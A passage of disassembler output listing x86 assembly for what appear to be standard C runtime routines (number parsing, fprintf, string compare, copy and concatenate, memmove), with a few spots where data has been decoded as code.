loc_41E117: ; CODE XREF: sub_41E040+CDj
xor eax, eax
jmp loc_41E36D
; ---------------------------------------------------------------------------
loc_41E11E: ; CODE XREF: sub_41E040+C7j
cmp [ebp+arg_8], 0
jnz short loc_41E15C
movsx ecx, byte ptr [ebp+var_8]
cmp ecx, 30h
jz short loc_41E136
mov [ebp+arg_8], 0Ah
jmp short loc_41E15C
; ---------------------------------------------------------------------------
loc_41E136: ; CODE XREF: sub_41E040+EBj
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
cmp eax, 78h
jz short loc_41E14C
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 58h
jnz short loc_41E155
loc_41E14C: ; CODE XREF: sub_41E040+FFj
mov [ebp+arg_8], 10h
jmp short loc_41E15C
; ---------------------------------------------------------------------------
loc_41E155: ; CODE XREF: sub_41E040+10Aj
mov [ebp+arg_8], 8
loc_41E15C: ; CODE XREF: sub_41E040+E2j
; sub_41E040+F4j ...
cmp [ebp+arg_8], 10h
jnz short loc_41E19B
movsx eax, byte ptr [ebp+var_8]
cmp eax, 30h
jnz short loc_41E19B
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 78h
jz short loc_41E181
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 58h
jnz short loc_41E19B
loc_41E181: ; CODE XREF: sub_41E040+134j
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
mov cl, [eax]
mov byte ptr [ebp+var_8], cl
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_41E19B: ; CODE XREF: sub_41E040+120j
; sub_41E040+129j ...
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
mov [ebp+var_10], eax
loc_41E1A6: ; CODE XREF: sub_41E040+26Bj
cmp ds:dword_44FD20, 1
jle short loc_41E1C7
push 4
mov eax, [ebp+var_8]
and eax, 0FFh
push eax
call sub_423D90
add esp, 8
mov [ebp+var_1C], eax
jmp short loc_41E1E2
; ---------------------------------------------------------------------------
loc_41E1C7: ; CODE XREF: sub_41E040+16Dj
mov ecx, [ebp+var_8]
and ecx, 0FFh
mov edx, ds:off_44FE2C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 4
mov [ebp+var_1C], eax
loc_41E1E2: ; CODE XREF: sub_41E040+185j
cmp [ebp+var_1C], 0
jz short loc_41E1F4
movsx ecx, byte ptr [ebp+var_8]
sub ecx, 30h
mov [ebp+var_14], ecx
jmp short loc_41E253
; ---------------------------------------------------------------------------
loc_41E1F4: ; CODE XREF: sub_41E040+1A6j
cmp ds:dword_44FD20, 1
jle short loc_41E219
push 103h
mov edx, [ebp+var_8]
and edx, 0FFh
push edx
call sub_423D90
add esp, 8
mov [ebp+var_20], eax
jmp short loc_41E236
; ---------------------------------------------------------------------------
loc_41E219: ; CODE XREF: sub_41E040+1BBj
mov eax, [ebp+var_8]
and eax, 0FFh
mov ecx, ds:off_44FE2C
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 103h
mov [ebp+var_20], edx
loc_41E236: ; CODE XREF: sub_41E040+1D7j
cmp [ebp+var_20], 0
jz short loc_41E251
movsx eax, byte ptr [ebp+var_8]
push eax
call sub_426810
add esp, 4
sub eax, 37h
mov [ebp+var_14], eax
jmp short loc_41E253
; ---------------------------------------------------------------------------
loc_41E251: ; CODE XREF: sub_41E040+1FAj
jmp short loc_41E2B0
; ---------------------------------------------------------------------------
loc_41E253: ; CODE XREF: sub_41E040+1B2j
; sub_41E040+20Fj
mov ecx, [ebp+var_14]
cmp ecx, [ebp+arg_8]
jb short loc_41E25D
jmp short loc_41E2B0
; ---------------------------------------------------------------------------
loc_41E25D: ; CODE XREF: sub_41E040+219j
mov edx, [ebp+arg_C]
or edx, 8
mov [ebp+arg_C], edx
mov eax, [ebp+var_C]
cmp eax, [ebp+var_10]
jb short loc_41E283
mov ecx, [ebp+var_C]
cmp ecx, [ebp+var_10]
jnz short loc_41E292
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
cmp [ebp+var_14], edx
ja short loc_41E292
loc_41E283: ; CODE XREF: sub_41E040+22Cj
mov edx, [ebp+var_C]
imul edx, [ebp+arg_8]
add edx, [ebp+var_14]
mov [ebp+var_C], edx
jmp short loc_41E29A
; ---------------------------------------------------------------------------
loc_41E292: ; CODE XREF: sub_41E040+234j
; sub_41E040+241j
mov eax, [ebp+arg_C]
or al, 4
mov [ebp+arg_C], eax
loc_41E29A: ; CODE XREF: sub_41E040+250j
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov byte ptr [ebp+var_8], dl
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
jmp loc_41E1A6
; ---------------------------------------------------------------------------
loc_41E2B0: ; CODE XREF: sub_41E040:loc_41E251j
; sub_41E040+21Bj
mov ecx, [ebp+var_4]
sub ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+arg_C]
and edx, 8
test edx, edx
jnz short loc_41E2D8
cmp [ebp+arg_4], 0
jz short loc_41E2CF
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
loc_41E2CF: ; CODE XREF: sub_41E040+287j
mov [ebp+var_C], 0
jmp short loc_41E34A
; ---------------------------------------------------------------------------
loc_41E2D8: ; CODE XREF: sub_41E040+281j
mov ecx, [ebp+arg_C]
and ecx, 4
test ecx, ecx
jnz short loc_41E312
mov edx, [ebp+arg_C]
and edx, 1
test edx, edx
jnz short loc_41E34A
mov eax, [ebp+arg_C]
and eax, 2
test eax, eax
jz short loc_41E2FF
cmp [ebp+var_C], 80000000h
ja short loc_41E312
loc_41E2FF: ; CODE XREF: sub_41E040+2B4j
mov ecx, [ebp+arg_C]
and ecx, 2
test ecx, ecx
jnz short loc_41E34A
cmp [ebp+var_C], 7FFFFFFFh
jbe short loc_41E34A
loc_41E312: ; CODE XREF: sub_41E040+2A0j
; sub_41E040+2BDj
call sub_4267E0
mov dword ptr [eax], 22h
mov edx, [ebp+arg_C]
and edx, 1
test edx, edx
jz short loc_41E330
mov [ebp+var_C], 0FFFFFFFFh
jmp short loc_41E34A
; ---------------------------------------------------------------------------
loc_41E330: ; CODE XREF: sub_41E040+2E5j
mov eax, [ebp+arg_C]
and eax, 2
test eax, eax
jz short loc_41E343
mov [ebp+var_C], 80000000h
jmp short loc_41E34A
; ---------------------------------------------------------------------------
loc_41E343: ; CODE XREF: sub_41E040+2F8j
mov [ebp+var_C], 7FFFFFFFh
loc_41E34A: ; CODE XREF: sub_41E040+296j
; sub_41E040+2AAj ...
cmp [ebp+arg_4], 0
jz short loc_41E358
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
mov [ecx], edx
loc_41E358: ; CODE XREF: sub_41E040+30Ej
mov eax, [ebp+arg_C]
and eax, 2
test eax, eax
jz short loc_41E36A
mov ecx, [ebp+var_C] ; CODE XREF: sub_41E3D0+Dj
neg ecx
mov [ebp+var_C], ecx
loc_41E36A: ; CODE XREF: sub_41E040+320j
mov eax, [ebp+var_C]
loc_41E36D: ; CODE XREF: sub_41E040+D9j
mov esp, ebp
pop ebp
retn
sub_41E040 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E380 proc near ; CODE XREF: seg000:00406171p
; seg000:004067E5p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push 1
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_41E040
add esp, 10h
pop ebp
retn
sub_41E380 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E3A0 proc near ; CODE XREF: seg000:00405BDFp
; seg000:00405BFDp ...
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
push edi
mov edi, [ebp+arg_0]
xor eax, eax
or ecx, 0FFFFFFFFh
repne scasb
inc ecx
neg ecx
dec edi
mov al, [ebp+arg_4]
std
repne scasb
inc edi
cmp [edi], al
jz short loc_41E3C1
xor eax, eax
jmp short loc_41E3C3
; ---------------------------------------------------------------------------
loc_41E3C1: ; CODE XREF: sub_41E3A0+1Bj
mov eax, edi
loc_41E3C3: ; CODE XREF: sub_41E3A0+1Fj
cld
pop edi
leave
retn
sub_41E3A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E3D0 proc near ; CODE XREF: seg000:004055D4p
; seg000:0041E427p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
push eax
call near ptr 3D0000h
jp short near ptr loc_41E362+2
sal byte ptr [ebp+arg_0+3], 0FFh
adc eax, offset dword_4F1310
mov [ebp+var_4], eax
jmp short loc_41E3F4
; ---------------------------------------------------------------------------
mov [ebp+var_4], 0
loc_41E3F4: ; CODE XREF: sub_41E3D0+1Bj
cmp [ebp+var_4], 0
jz short loc_41E40B
mov ecx, [ebp+var_4]
push ecx
call sub_426740
add esp, 4
or eax, 0FFFFFFFFh
jmp short loc_41E40D
; ---------------------------------------------------------------------------
loc_41E40B: ; CODE XREF: sub_41E3D0+28j
xor eax, eax
loc_41E40D: ; CODE XREF: sub_41E3D0+39j
mov esp, ebp
pop ebp
retn
sub_41E3D0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
mov eax, [ebp+8]
push eax
call sub_41E3D0
add esp, 4
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E440 proc near ; CODE XREF: seg000:0040552Bp
; sub_40C5EF+181p ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
push edi
lea eax, [ebp+arg_8]
mov [ebp+var_10], eax
loc_41E44F: ; CODE XREF: sub_41E440+37j
cmp [ebp+arg_0], 0
jnz short loc_41E473
push offset dword_4394FC
push 0
push 38h
push offset aFprintf_c ; "fprintf.c"
push 2
call loc_420E10
add esp, 14h
cmp eax, 1
jnz short loc_41E473
int 3 ; Trap to Debugger
loc_41E473: ; CODE XREF: sub_41E440+13j
; sub_41E440+30j
xor ecx, ecx
test ecx, ecx
jnz short loc_41E44F
loc_41E479: ; CODE XREF: sub_41E440+61j
cmp [ebp+arg_4], 0
jnz short loc_41E49D
push offset aFormatNull ; "format != NULL"
push 0
push 39h
push offset aFprintf_c ; "fprintf.c"
push 2
call loc_420E10
add esp, 14h
cmp eax, 1
jnz short loc_41E49D
int 3 ; Trap to Debugger
loc_41E49D: ; CODE XREF: sub_41E440+3Dj
; sub_41E440+5Aj
xor edx, edx
test edx, edx
jnz short loc_41E479
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
push ecx
call sub_41F070
add esp, 4
mov edx, [ebp+var_4]
push edx
call sub_4269E0
add esp, 4
mov [ebp+var_8], eax
mov eax, [ebp+var_10]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+var_4]
push edx
call sub_424CB0
add esp, 0Ch
mov [ebp+var_C], eax
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+var_8]
push ecx
call sub_426B40
add esp, 8
mov edx, [ebp+var_4]
push edx
call sub_41F0E0
add esp, 4
mov eax, [ebp+var_C]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41E440 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E510 proc near ; CODE XREF: seg000:004037EAp
; seg000:0042AE16p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov ecx, [ebp+arg_8]
jecxz short loc_41E541
mov ebx, ecx
mov edi, [ebp+arg_0]
mov esi, edi
xor eax, eax
repne scasb
neg ecx
add ecx, ebx
mov edi, esi
mov esi, [ebp+arg_4]
repe cmpsb
mov al, [esi-1]
xor ecx, ecx
cmp al, [edi-1]
ja short loc_41E53F
jz short loc_41E541
dec ecx
dec ecx
loc_41E53F: ; CODE XREF: sub_41E510+29j
not ecx
loc_41E541: ; CODE XREF: sub_41E510+9j
; sub_41E510+2Bj
mov eax, ecx
pop ebx
pop esi
pop edi
leave
retn
sub_41E510 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41E550 proc near ; CODE XREF: seg000:00403447p
; seg000:00405289p ...
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
jmp short loc_41E5C1
sub_41E550 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41E560 proc near ; CODE XREF: seg000:00403450p
; seg000:00406FB8p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
push edi
test ecx, 3
jz short loc_41E57C
loc_41E56D: ; CODE XREF: sub_41E560+1Aj
mov al, [ecx]
inc ecx
test al, al
jz short loc_41E5AF
test ecx, 3
jnz short loc_41E56D
loc_41E57C: ; CODE XREF: sub_41E560+Bj
; sub_41E560+32j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_41E57C
mov eax, [ecx-4]
test al, al
jz short loc_41E5BE
test ah, ah
jz short loc_41E5B9
test eax, 0FF0000h
jz short loc_41E5B4
test eax, 0FF000000h
jz short loc_41E5AF
jmp short loc_41E57C
; ---------------------------------------------------------------------------
loc_41E5AF: ; CODE XREF: sub_41E560+12j
; sub_41E560+4Bj
lea edi, [ecx-1]
jmp short loc_41E5C1
; ---------------------------------------------------------------------------
loc_41E5B4: ; CODE XREF: sub_41E560+44j
lea edi, [ecx-2]
jmp short loc_41E5C1
; ---------------------------------------------------------------------------
loc_41E5B9: ; CODE XREF: sub_41E560+3Dj
lea edi, [ecx-3]
jmp short loc_41E5C1
; ---------------------------------------------------------------------------
loc_41E5BE: ; CODE XREF: sub_41E560+39j
lea edi, [ecx-4]
loc_41E5C1: ; CODE XREF: sub_41E550+5j
; sub_41E560+52j ...
mov ecx, [esp+4+arg_4]
test ecx, 3
jz short loc_41E5E6
loc_41E5CD: ; CODE XREF: sub_41E560+7Dj
mov dl, [ecx]
inc ecx
test dl, dl
jz short loc_41E638
mov [edi], dl
inc edi
test ecx, 3
jnz short loc_41E5CD
jmp short loc_41E5E6
; ---------------------------------------------------------------------------
loc_41E5E1: ; CODE XREF: sub_41E560+9Ej
; sub_41E560+B8j
mov [edi], edx
add edi, 4
loc_41E5E6: ; CODE XREF: sub_41E560+6Bj
; sub_41E560+7Fj
mov edx, 7EFEFEFFh
mov eax, [ecx]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [ecx]
add ecx, 4
test eax, 81010100h
jz short loc_41E5E1
test dl, dl
jz short loc_41E638
test dh, dh
jz short loc_41E62F
test edx, 0FF0000h
jz short loc_41E622
test edx, 0FF000000h
jz short loc_41E61A
jmp short loc_41E5E1
; ---------------------------------------------------------------------------
loc_41E61A: ; CODE XREF: sub_41E560+B6j
mov [edi], edx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41E622: ; CODE XREF: sub_41E560+AEj
mov [edi], dx
mov eax, [esp+4+arg_0]
mov byte ptr [edi+2], 0
pop edi
retn
; ---------------------------------------------------------------------------
loc_41E62F: ; CODE XREF: sub_41E560+A6j
mov [edi], dx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41E638: ; CODE XREF: sub_41E560+72j
; sub_41E560+A2j
mov [edi], dl
mov eax, [esp+4+arg_0]
pop edi
retn
sub_41E560 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41E650
loc_41E640: ; CODE XREF: sub_41E650+1Dj
lea eax, [edx-1]
pop ebx
retn
; END OF FUNCTION CHUNK FOR sub_41E650
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41E650 proc near ; CODE XREF: seg000:0040342Cp
; seg000:004034D3p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
; FUNCTION CHUNK AT 0041E640 SIZE 00000005 BYTES
xor eax, eax
mov al, [esp+arg_4]
loc_41E656: ; CODE XREF: sub_41DBE0+6Ej
push ebx
mov ebx, eax
shl eax, 8
mov edx, [esp+4+arg_0]
test edx, 3
jz short loc_41E67B
loc_41E668: ; CODE XREF: sub_41E650+29j
mov cl, [edx]
inc edx
cmp cl, bl
jz short loc_41E640
test cl, cl
jz short loc_41E6C4
test edx, 3
jnz short loc_41E668
loc_41E67B: ; CODE XREF: sub_41E650+16j
or ebx, eax
push edi
mov eax, ebx
shl ebx, 10h
push esi
or ebx, eax
loc_41E686: ; CODE XREF: sub_41E650+61j
; sub_41E650+70j ...
mov ecx, [edx]
mov edi, 7EFEFEFFh
mov eax, ecx
mov esi, edi
xor ecx, ebx
add esi, eax
add edi, ecx
xor ecx, 0FFFFFFFFh
xor eax, 0FFFFFFFFh
xor ecx, edi
xor eax, esi
add edx, 4
and ecx, 81010100h
jnz short loc_41E6C8
and eax, 81010100h
jz short loc_41E686
and eax, 1010100h
jnz short loc_41E6C2
and esi, 80000000h
jnz short loc_41E686
loc_41E6C2: ; CODE XREF: sub_41E650+68j
; sub_41E650+81j ...
pop esi
pop edi
loc_41E6C4: ; CODE XREF: sub_41E650+21j
pop ebx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41E6C8: ; CODE XREF: sub_41E650+5Aj
mov eax, [edx-4]
cmp al, bl
jz short loc_41E705
test al, al
jz short loc_41E6C2
cmp ah, bl
jz short loc_41E6FE
test ah, ah
jz short loc_41E6C2
shr eax, 10h
cmp al, bl
jz short loc_41E6F7
test al, al
jz short loc_41E6C2
cmp ah, bl
jz short loc_41E6F0
test ah, ah
jz short loc_41E6C2
jmp short loc_41E686
; ---------------------------------------------------------------------------
loc_41E6F0: ; CODE XREF: sub_41E650+98j
pop esi
pop edi
lea eax, [edx-1]
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41E6F7: ; CODE XREF: sub_41E650+90j
lea eax, [edx-2]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41E6FE: ; CODE XREF: sub_41E650+85j
lea eax, [edx-3]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41E705: ; CODE XREF: sub_41E650+7Dj
lea eax, [edx-4]
pop esi
pop edi
pop ebx
retn
sub_41E650 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41E710 proc near ; CODE XREF: sub_408990+8Dp
; sub_409293+60p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz loc_41E7C4
mov edi, [esp+4+arg_0]
push esi
test edi, 3
push ebx
jz short loc_41E73A
loc_41E72B: ; CODE XREF: sub_41E710+28j
mov al, [edi]
inc edi
test al, al
jz short loc_41E76B
test edi, 3
jnz short loc_41E72B
loc_41E73A: ; CODE XREF: sub_41E710+19j
; sub_41E710+40j ...
mov eax, [edi]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add edi, 4
test eax, 81010100h
jz short loc_41E73A
mov eax, [edi-4]
test al, al
jz short loc_41E778
test ah, ah
jz short loc_41E773
test eax, 0FF0000h
jz short loc_41E76E
test eax, 0FF000000h
jnz short loc_41E73A
loc_41E76B: ; CODE XREF: sub_41E710+20j
dec edi
jmp short loc_41E77B
; ---------------------------------------------------------------------------
loc_41E76E: ; CODE XREF: sub_41E710+52j
sub edi, 2
jmp short loc_41E77B
; ---------------------------------------------------------------------------
loc_41E773: ; CODE XREF: sub_41E710+4Bj
sub edi, 3
jmp short loc_41E77B
; ---------------------------------------------------------------------------
loc_41E778: ; CODE XREF: sub_41E710+47j
sub edi, 4
loc_41E77B: ; CODE XREF: sub_41E710+5Cj
; sub_41E710+61j ...
mov esi, [esp+0Ch+arg_4]
test esi, 3
jnz short loc_41E790
mov ebx, ecx
shr ecx, 2
jnz short loc_41E7DC
jmp short loc_41E7AC
; ---------------------------------------------------------------------------
loc_41E790: ; CODE XREF: sub_41E710+75j
; sub_41E710+93j
mov dl, [esi]
inc esi
test dl, dl
jz short loc_41E7CA
mov [edi], dl
inc edi
dec ecx
jz short loc_41E7C0
test esi, 3
jnz short loc_41E790
mov ebx, ecx
shr ecx, 2
jnz short loc_41E7DC
loc_41E7AC: ; CODE XREF: sub_41E710+7Ej
; sub_41E710+CAj
mov ecx, ebx
and ecx, 3
jz short loc_41E7C0
loc_41E7B3: ; CODE XREF: sub_41E710+AEj
mov dl, [esi]
inc esi
mov [edi], dl
inc edi
test dl, dl
jz short loc_41E7C2
dec ecx
jnz short loc_41E7B3
loc_41E7C0: ; CODE XREF: sub_41E710+8Bj
; sub_41E710+A1j
mov [edi], cl
loc_41E7C2: ; CODE XREF: sub_41E710+ABj
pop ebx
pop esi
loc_41E7C4: ; CODE XREF: sub_41E710+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41E7CA: ; CODE XREF: sub_41E710+85j
; sub_41E710+E8j
mov [edi], dl
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41E7D4: ; CODE XREF: sub_41E710+E4j
; sub_41E710+FCj
mov [edi], edx
add edi, 4
dec ecx
jz short loc_41E7AC
loc_41E7DC: ; CODE XREF: sub_41E710+7Cj
; sub_41E710+9Aj
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_41E7D4
test dl, dl
jz short loc_41E7CA
test dh, dh
jz short loc_41E828
test edx, 0FF0000h
jz short loc_41E818
test edx, 0FF000000h
jnz short loc_41E7D4
mov [edi], edx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41E818: ; CODE XREF: sub_41E710+F4j
mov [edi], dx
xor edx, edx
mov eax, [esp+0Ch+arg_0]
mov [edi+2], dl
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41E828: ; CODE XREF: sub_41E710+ECj
mov [edi], dx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_41E710 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E840 proc near ; CODE XREF: sub_408AC1+62p
; sub_408AC1+6Fp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_41E860
cmp edi, eax
jb loc_41E9D8
loc_41E860: ; CODE XREF: sub_41E840+16j
test edi, 3
jnz short loc_41E87C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41E89C
rep movsd
jmp ds:off_41E988[edx*4]
; ---------------------------------------------------------------------------
loc_41E87C: ; CODE XREF: sub_41E840+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_41E894
and eax, 3
add ecx, eax
jmp dword ptr ds:loc_41E89C+4[eax*4]
; ---------------------------------------------------------------------------
loc_41E894: ; CODE XREF: sub_41E840+46j
jmp dword ptr ds:loc_41E998[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41E89C: ; CODE XREF: sub_41E840+31j
; sub_41E840+8Ej ...
jmp ds:off_41E91C[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41E8B0
dd offset loc_41E8DC
dd offset loc_41E900
; ---------------------------------------------------------------------------
loc_41E8B0: ; DATA XREF: sub_41E840+64o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_41E89C
rep movsd
jmp ds:off_41E988[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_41E8DC: ; DATA XREF: sub_41E840+68o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_41E89C
rep movsd
jmp ds:off_41E988[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41E900: ; DATA XREF: sub_41E840+6Co
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_41E89C
rep movsd
jmp ds:off_41E988[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41E91C dd offset loc_41E97F ; DATA XREF: sub_41E840:loc_41E89Cr
dd offset loc_41E96C
dd offset loc_41E964
dd offset loc_41E95C
dd offset loc_41E954
dd offset loc_41E94C
dd offset loc_41E944
dd offset loc_41E93C
; ---------------------------------------------------------------------------
loc_41E93C: ; CODE XREF: sub_41E840:loc_41E89Cj
; DATA XREF: sub_41E840+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_41E944: ; CODE XREF: sub_41E840:loc_41E89Cj
; DATA XREF: sub_41E840+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_41E94C: ; CODE XREF: sub_41E840:loc_41E89Cj
; DATA XREF: sub_41E840+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_41E954: ; CODE XREF: sub_41E840:loc_41E89Cj
; DATA XREF: sub_41E840+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_41E95C: ; CODE XREF: sub_41E840:loc_41E89Cj
; DATA XREF: sub_41E840+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_41E964: ; CODE XREF: sub_41E840:loc_41E89Cj
; DATA XREF: sub_41E840+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_41E96C: ; CODE XREF: sub_41E840:loc_41E89Cj
; DATA XREF: sub_41E840+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41E97F: ; CODE XREF: sub_41E840:loc_41E89Cj
; DATA XREF: sub_41E840:off_41E91Co
jmp ds:off_41E988[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41E988 dd offset loc_41E998 ; DATA XREF: sub_41E840+35r
; sub_41E840+92r ...
dd offset loc_41E9A0
dd offset loc_41E9AC
dd offset loc_41E9C0
; ---------------------------------------------------------------------------
loc_41E998: ; CODE XREF: sub_41E840+35j
; sub_41E840+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41E9A0: ; CODE XREF: sub_41E840+35j
; sub_41E840+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41E9AC: ; CODE XREF: sub_41E840+35j
; sub_41E840+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41E9C0: ; CODE XREF: sub_41E840+35j
; sub_41E840+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41E9D8: ; CODE XREF: sub_41E840+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_41EA0C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41EA00
std
rep movsd
cld
jmp ds:off_41EB20[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41EA00: ; CODE XREF: sub_41E840+1B1j
; sub_41E840+208j ...
neg ecx
jmp dword ptr ds:loc_41EACF+1[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41EA0C: ; CODE XREF: sub_41E840+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_41EA24
and eax, 3
sub ecx, eax
jmp dword ptr ds:loc_41EA24+4[eax*4]
; ---------------------------------------------------------------------------
loc_41EA24: ; CODE XREF: sub_41E840+1D6j
; DATA XREF: sub_41E840+1DDr
jmp ds:off_41EB20[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41EA37+1
dd offset loc_41EA58
; ---------------------------------------------------------------------------
sub dl, 41h
loc_41EA37: ; DATA XREF: sub_41E840+1ECo
add [edx-2EDCFCBAh], cl
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_41EA00
std
rep movsd
cld
jmp ds:off_41EB20[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_41EA58: ; DATA XREF: sub_41E840+1F0o
